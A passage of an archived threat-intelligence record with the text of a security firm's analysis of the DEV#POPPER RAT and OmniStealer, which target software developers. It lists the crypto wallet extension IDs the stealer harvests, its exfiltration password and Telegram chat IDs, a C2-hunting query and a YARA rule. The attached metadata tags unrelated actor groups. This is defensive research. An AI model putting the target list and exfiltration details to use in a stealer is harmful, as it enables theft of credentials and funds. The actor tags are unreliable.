Binance\r\ngjdfdfnbillbflbkmldbclkihgajchbg Termux\r\nhifafgmccdpekplomjjkcfgodnhcellj Crypto.com\r\nlgmpcpglpngdoalbgeoldeajfclnhafa Safepal\r\nljfoeinjpaedjfecbmggjgodbgkmjkjk MetaMask-Flask\r\nnphplpgoakhhjchkkhmiggakijnkhfnd Ton\r\npdliaogehgdbhbnmkklieghmmjkpigpa ByBit\r\nphkbamefinggmakgklpkljjmgibohnba Pontem\r\nkkpllkodjeloidieedojogacfhpaihoh Enkrypt\r\nagoakfejjabomempkjlepdflaleeobhb Core-Crypto\r\njiidiaalihmmhddjgbnbgdfflelocpak Bitget\r\nkgdijkcfiglijhaglibaidbipiejjfdp Cirus\r\nkkpehldckknjffeakihjajcjccmcjflh HBAR\r\nfccgmnglbhajioalokbcidhcaikhlcpm Zapit\r\nfijngjgcjhjmmpcmkeiomlglpeiijkld Talisman\r\nenabgbdfcbaehmbigakijjabdpdnimlg Manta\r\nonhogfjeacnfoofkfgppdlbmlmnplgbn Sub-Polkadot\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 25 of 33\n\namkmjjmmflddogmhpjloimipbofnfjih Wombat\r\nglmhbknppefdmpemdmjnjlinpbclokhn Orange\r\nhmeobnfnfcmdkdcmlblgagmfpfboieaf XDEFI\r\nfcfcfllfndlomdhbehjjcoimbgofdncg LeapCosmos\r\nanokgmphncpekkhclmingpimjmcooifb Compass-Sei\r\nepapihdplajcdnnkdeiahlgigofloibg Sender\r\nefbglgofoippbgcjepnhiblaibcnclgk Martian\r\nldinpeekobnhjjdofggfgjlcehhmanlj Leather\r\nlccbohhgfkdikahanoclbdmaolidjdfl Wigwam\r\nabkahkcbhngaebpcgfmhkoioedceoigp Casper\r\nbhhhlbepdkbapadjdnnojkbgioiodbic Solflare\r\nklghhnkeealcohjjanjjdaeeggmfmlpl Zerion\r\nlnnnmfcpbkafcpgdilckhmhbkkbpkmid Koala\r\nibljocddagjghmlpgihahamcghfggcjc Virgo\r\nppbibelpcjmhbdihakflkdcoccbgbkpo UniSat\r\nafbcbjpbpfadlkmhmclhkeeodmamcflc Math\r\nebfidpplhabeedpnhjnobghokpiioolj Fewcha-Move\r\nfopmedgnkfpebgllppeddmmochcookhc Suku\r\ngjagmgiddbbciopjhllkdnddhcglnemk Hashpack\r\njnlgamecbpmbajjfhmmmlhejkemejdma Braavos\r\npgiaagfkgcbnmiiolekcfmljdagdhlcm Stargazer\r\nkhpkpbbcccdmmclmpigdgddabeilkdpd Suiet\r\nkilnpioakcdndlodeeceffgjdpojajlo Aurox\r\nbopcbmipnjdcdfflfgjdgdjejmgpoaab Block\r\nkmhcihpebfmpgmihbkipmjlmmioameka Eternl\r\naflkmfhebedbjioipglgcbcmnbpgliof Backpack\r\najkifnllfhikkjbjopkhmjoieikeihjb Moso\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 26 of 33\n\npfccjkejcgoppjnllalolplgogenfojk Tomo\r\njaooiolkmfcmloonphpiiogkfckgciom Twetch\r\nkmphdnilpmdejikjdnlbcnmnabepfgkh OsmWallet\r\nhbbgbephgojikajhfbomhlmmollphcad Rise\r\nnbdhibgjnjpnkajaghbffjbkcgljfgdi Ramper\r\nfldfpgipfncgndfolcbkdeeknbbbnhcc MyTon\r\njnmbobjmhlngoefaiojfljckilhhlhcj OneKey\r\nfcckkdbjnoikooededlapcalpionmalo MOBOX\r\ngadbifgblmedliakbceidegloehmffic Paragon\r\nebaeifdbcjklcmoigppnpkcghndhpbbm SenSui\r\nopfgelmcmbiajamepnmloijbpoleiama Rainbow\r\njfflgdhkeohhkelibbefdcgjijppkdeb OrdPay\r\nkfecffoibanimcnjeajlcnbablfeafho Libonomy\r\nopcgpfmipidbgpenhmajoajpbobppdil Slush\r\npenjlddjkjgpnkllboccdgccekpkcbin OpenMask\r\nkbdcddcmgoplfockflacnnefaehaiocb Shell\r\nabogmiocnneedmmepnohnhlijcjpcifd Blade\r\nomaabbefbmiijedngplfjmnooppbclkk Tonkeeper\r\ncnncmdhjacpkmjmkcafchppbnpnhdmon HAVAH\r\neokbbaidfgdndnljmffldfgjklpjkdoi Fluent\r\nfnjhmkhhmkbjkkabndcnnogagogbneec Ronin\r\ndlcobpjiigpikoobohmabehhmhfoodbb ArgentX\r\naiifbnbfobpmeekipheeijimdpnlpgpp Station\r\neajafomhmkipbjmfmhebemolkcicgfmd Taho\r\nmkpegjkblkkefacfnmkajcjmabijhclg MagicEden\r\nffbceckpkpbcmgiaehlloocglmijnpmp Initia\r\nlpfcbjknijpeeillifnkikgncikgfhdo Nami\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 27 of 33\n\nfpkhgmpbidmiogeglndfbkegfdlnajnf Cosmostation\r\nkppfdiipphfccemcignhifpjkapfbihd Frontier\r\ncfbfdhimifdmdehjmkdobpcjfefblkjm Plug\r\nookjlbkiijinhpmnjffcofjonbfbgaoc Tezos\r\niokeahhehimjnekafflcihljlcjccdbe Alby\r\nmcbigmjiafegjnnogedioegffbooigli EthosSui\r\nmfgccjchihfkkindfppnaooecgfneiii TokenPocket\r\ngafhhkghbfjjkeiendhlofajokpaflmk Lace\r\naheklkkgnmlknpgogcnhkbenfllfcfjb Tronlink-Edge\r\npbpjkcldjiffchgbbndmhojiacbgflha OKX-Edge\r\ndfeccadlilpndjjohbjdblepmjeahlmm Math-Edge\r\nkcgelamicebnalepkbppmoeiaaaljcee EthosSui-Edge\r\napenkfbbpmhihehmihndmmcdanacolnh SafePal-Edge\r\npgpdomeflfhcmgdbfdlociknopahmbej MyTon-Edge\r\najkhoeiiokighlmdnlakpjfoobnjinie Station-Edge\r\nbcpcfajkbagnicoppbogbgemdodphjne TorchWallet\r\nfaobkiaokccpmnhhefnobkbhnfjmbemh ZetrixWallet\r\nhcgejekffjilpgbommjoklpneekbkajb Kibisis\r\nnebnhfamliijlghikdgcigoebonmoibm LeoWallet\r\neinnioafmpimabjcddiinlhmijaionap Wander\r\ncnmamaachppnkjgnildpdmkaakejnhae AuroWallet\r\ndngmlblcodfobpdpecaadgfbcggfjfnm MultiversX\r\nklnaejjgbibmhlephnhpmaofohgkpgkd ZilPay\r\nppdadbejkmjnefldpcdjhnkpbjkikoip Rose\r\nnhnkbkgjikgcigadomkphalanndcapjk CLV\r\npdadjkfkgcafgbceimcpbkalnfnepbnk KardiaChain\r\nandhndehpcjpmneneealacgnmealilal HaHa\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 28 of 33\n\ncnoepnljjcacmnjnopbhjelpmfokpijm Kabila\r\ndldjpboieedgcmpkchcjcbijingjcgok Fuel\r\nellkdbaphhldpeajbepobaecooaoafpg ASIAlliance\r\nnhccebmfjcbhghphpclcfdkkekheegop Pelagus\r\nlpilbniiabackdjcionkobglmddfbcjo KeeperWallet\r\nbdgmdoedahdcjmpmifafdhnffjinddgc Bittensor\r\nbhghoamapcdpbohphigoooaddinpkbai GoogleAuth\r\nExfiltration\r\nAll harvested data is written to a password protected zip archive and exfiltrated to the C2 over HTTP. The\r\npassword used in encrypting the archive is: \",./,./,./\". The figure below displays the contents of a sample zip\r\narchive. On the surface, we can immediately see that the victim's login keychain database was stolen.\r\nFigure 42 – Exfiltrated zip archive (unzipped, macOS)\r\nThe _info.json file contains a JSON formatted list of information about the victim system, campaign ID, hardware\r\nID, user ID, timestamp, etc.\r\nFigure 43 – Victim _info.json file\r\nAs a fallback option, exfiltration occurs via Telegram via chat/group IDs: 7699029999, 7609033774, and\r\n-4697384025.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 29 of 33\n\nFigure 44 – Exfiltrate via Telegram\r\nCensys Query\r\nThe following Censys query can be used to identify additional C2s:\r\nhost.services.endpoints.http.headers: (key = \"Server\" and value = \"EmbedIO/3.5.2\") and host.services.endpoints\r\nYara Rules\r\nThe following Yara rule can be used to detect the initial stager for DEV#POPPER. The remainder of stages\r\ndiscussed herein are only resident in memory.\r\nrule DEVPOPPER\r\n{\r\n meta:\r\n author = \"YungBinary\"\r\n strings:\r\n $s1 = \"global['_V']\" ascii\r\n $s2 = \"typeof module=== 'object'\" ascii\r\n $s3 = \"var a0n,a0b,_global,a0a;\" ascii\r\n $s4 = \"function(){var rms=''\" ascii\r\n $s5 = \"y*(x+360)+(y%32226);\" ascii\r\n $s6 = \"wodstriuznuobanchgfcttycmroqrvelspkxj\" ascii\r\n condition:\r\n filesize \u003c 10KB and (3 of ($s*))\r\n}\r\neSentire Utilities\r\nThe Node.js script DEV#STOPPER.js is available here and can be used by security researchers to deobfuscate\r\nDEV#POPPER intermediary stages and final payloads like the DEV#POPPER RAT loader and DEV#POPPER\r\nRAT itself.\r\nWhat did we do?\r\nOur team of 24/7 SOC Cyber Analysts proactively isolated the affected host to contain the infection on the\r\ncustomer's behalf.\r\nWe communicated what happened with the customer and helped them with remediation efforts.\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 30 of 33\n\nWhat can you learn from this TRU Positive?\r\nSoftware Developers are prime targets for sophisticated supply chain attacks through weaponized GitHub\r\nrepositories. The APT distributes malware disguised as legitimate open-source projects - in this case,\r\n\"ShoeVista,\" a fake eCommerce platform.\r\nSimply cloning and running the application triggers a multi-stage attack chain (DEV#POPPER\r\nbackdoor -\u003e OmniStealer infostealer) that steals credentials developers need daily: GitHub tokens,\r\nSSH keys, AWS/Azure/GCP credentials, environment variables with API keys, and browser-stored\r\npasswords/cookies.\r\nThis grants threat actors access not just to your machine, but to your entire organization's\r\ninfrastructure, source code repositories, and production systems.\r\nInterpreted languages like Node.js and Python enable the APT to target a variety of operating systems.\r\nSecurity researchers can use the provided Node.js tooling to decrypt variants of DEV#POPPER without\r\nrelying on online deobfuscation tools that fail to produce a fully deobfuscated sample.\r\nNode.js deobfuscation is an incredibly complex task, often requiring multiple \"passes\" on code parsed into\r\nan AST in order to simplify it further.\r\nRecommendations from the Threat Response Unit (TRU)\r\nBlock crypto-network APIs used by threat actors for payload staging.\r\nSoftware developers should assume any code from untrusted sources is hostile: verify repository\r\nauthenticity, audit code before execution, isolate development environments, use hardware wallets for\r\ncryptocurrencies, store secrets in hardware security keys or password managers with strong 2FA, and never\r\nstore seed phrases on disk.\r\nImplement a Phishing and Security Awareness Training (PSAT) program that educates your employees\r\nusing real-world scenarios.\r\nPartner with a 24/7 multi-signal Managed Detection and Response (MDR) services provider for total attack\r\nsurface visibility, 24/7 threat hunting and disruption, and rapid threat response to prevent attackers from\r\nspreading laterally through your environment.\r\nHowever, at the bare minimum, organizations should use a Next-Gen AV (NGAV) or Endpoint\r\nDetection and Response (EDR) solution to detect and contain threats.\r\nIndicators of Compromise\r\nIndicators of Compromise can be found here.\r\nReferences\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nhttps://www.securonix.com/blog/analysis-of-devpopper-new-attack-campaign-targeting-software-developers-likely-associated-with-north-korean-threat-actors/\r\nUpdates\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 31 of 33\n\nRemoved typo in Figure 2 (attack diagram) linking the C2 server to FAMOUS CHOLLIMA\r\nAdded context indicating the JavaScript obfuscation was likely generated using Obfuscator.io.\r\nTo learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next\r\nLevel MDR, connect with an eSentire Security Specialist now.\r\nGET STARTED\r\nABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)\r\nThe eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your\r\norganization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 32 of 33\n\nSecurity Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and\r\nworks as an extension of your security team to continuously improve our Managed Detection and Response\r\nservice. By providing complete visibility across your attack surface and performing global threat sweeps and\r\nproactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending\r\nyour organization against known and unknown threats.\r\nSource: https://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nhttps://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin\r\nPage 33 of 33",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin"
	],
	"report_names": [
		"north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "7187a642-699d-44b2-9c69-498c80bce81f",
			"created_at": "2025-08-07T02:03:25.105688Z",
			"updated_at": "2026-04-10T02:00:03.78394Z",
			"deleted_at": null,
			"main_name": "NICKEL TAPESTRY",
			"aliases": [
				"CL-STA-0237 ",
				"CL-STA-0241 ",
				"DPRK IT Workers",
				"Famous Chollima ",
				"Jasper Sleet Microsoft",
				"Purpledelta Recorded Future",
				"Storm-0287 ",
				"UNC5267 ",
				"Wagemole "
			],
			"source_name": "Secureworks:NICKEL TAPESTRY",
			"tools": [],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "4fc99d9b-9b66-4516-b0db-520fbef049ed",
			"created_at": "2025-10-29T02:00:51.949631Z",
			"updated_at": "2026-04-10T02:00:05.346203Z",
			"deleted_at": null,
			"main_name": "Contagious Interview",
			"aliases": [
				"Contagious Interview",
				"DeceptiveDevelopment",
				"Gwisin Gang",
				"Tenacious Pungsan",
				"DEV#POPPER",
				"PurpleBravo",
				"TAG-121"
			],
			"source_name": "MITRE:Contagious Interview",
			"tools": [
				"InvisibleFerret",
				"BeaverTail",
				"XORIndex Loader",
				"HexEval Loader"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-10T02:00:02.959797Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"IRIDIUM",
				"Blue Echidna",
				"VOODOO BEAR",
				"FROZENBARENTS",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"Quedagh",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-10T02:00:04.679488Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-10T02:00:03.618194Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "d05e8567-9517-4bd8-a952-5e8d66f68923",
			"created_at": "2024-11-13T13:15:31.114471Z",
			"updated_at": "2026-04-10T02:00:03.761535Z",
			"deleted_at": null,
			"main_name": "WageMole",
			"aliases": [
				"Void Dokkaebi",
				"WaterPlum",
				"PurpleBravo",
				"Famous Chollima",
				"UNC5267",
				"Wagemole",
				"Nickel Tapestry",
				"Storm-1877"
			],
			"source_name": "MISPGALAXY:WageMole",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-10T02:00:05.27483Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434003,
	"ts_updated_at": 1775792228,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8d81424f50569ef0e6702c6f7914d2be614d6567.pdf",
		"text": "https://archive.orkl.eu/8d81424f50569ef0e6702c6f7914d2be614d6567.txt",
		"img": "https://archive.orkl.eu/8d81424f50569ef0e6702c6f7914d2be614d6567.jpg"
	}
}